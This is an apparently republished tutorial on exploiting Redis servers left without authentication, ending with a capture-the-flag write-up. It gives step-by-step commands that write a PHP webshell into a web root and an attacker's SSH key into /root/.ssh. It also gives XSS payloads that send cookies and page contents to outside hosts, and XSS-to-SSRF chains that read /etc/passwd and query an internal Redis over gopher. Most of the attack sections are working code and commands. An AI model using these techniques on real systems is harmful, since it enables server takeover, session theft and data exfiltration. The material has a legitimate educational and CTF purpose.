Introduction to redis unauthorized access

Redis is a non-relational database that uses key-value as key-value pairs.

redis is an open source log-type Key-Value database written in ANSI C language, abides by the BSD protocol, supports the network, can be memory-based and persistent, and provides APIs in multiple languages.

It is often called a data structure server because the value can be a string, hash, map, list, sets and sorted sets ) and other types.

Installation Service

win

Download address: https://github.com/MSOpenTech/redis/releases
Test environment:

Operating system: win7
ip:192.168.107.144

##Command line input

redis-server.exe redis.conf

Then check the port

##6379 port (redis default port) has been opened

redis started successfully

ubuntu

Installation

sudo apt-get update
sudo apt-get install redis-server

Start service

redis-server

Basic commands

Connect redis

redis-cli.exe -h 192.168.107.144

View key is x The value

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

get all keys

redis 192.168.107.144:6379> keys *
1) "x"

Delete all keys

redis 192.168.107.144:6379>flushall

Exploit

This machine actively goes through the telnet command Connect to the target machine

or connect through redis-cli.exe -h 192.168.107.144

Connection successful

Enter info to get relevant information

You can see the redis version number, etc.

How to use

Write a sentence webshell
Write ssh public key

Write shell

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

Successfully written to the target machine

Write the ssh public key

Generate a pair of keys locally

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

Then write the ssh public key to the target machine

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存

and then connect to ssh locally

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

Redis in CTF (XSS->SSRF&Gopher->Redis)

The topic is

Title address: https: //hackme.inndy.tw/scoreboard/

xeeme

Leaked

found in robots.txt The leaked source code

is the encrypted config.php

xss cookie setting

The interface after registration and login

Sending emails requires verification

#Just write a script for verification

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

Then filter it Some things

tested with img

onload is also filtered

Notice a detail here. What is filtered is spaces plus onerror. I guess it will be filtered only when it matches onerror with spaces, so I construct an onerror without spaces, try payload

<img  src=""onerror="document.location=&#39;http://vps/?a=&#39;+document.cookie" alt="Introduction to redis unauthorized access" >

and then hit the cookie. Successfully hit cookie

Decode SESSION

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf leak

According to the cookie of the previous question, FLAG_2=IN_THE_REDIS

Still the same environment

Because I got the administrator’s cookie, I logged in

需要本地登陆，尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题，可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到，于是换了一个平台

利用payload

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Introduction to redis unauthorized access" >

发现innerhtml被过滤

于是html编码

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Introduction to redis unauthorized access" >

发现收到请求

解个码，放在本地

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://vps?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

vps收到请求

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

成功读到/etc/passwd

于是读之前的config.php

xssrf redis（ssrf+gopher拿下flag）

根据flag的提示，redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

去读

既然有flag键，那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

是list，返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

于是写个脚本

flag="""
}
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"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址：https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

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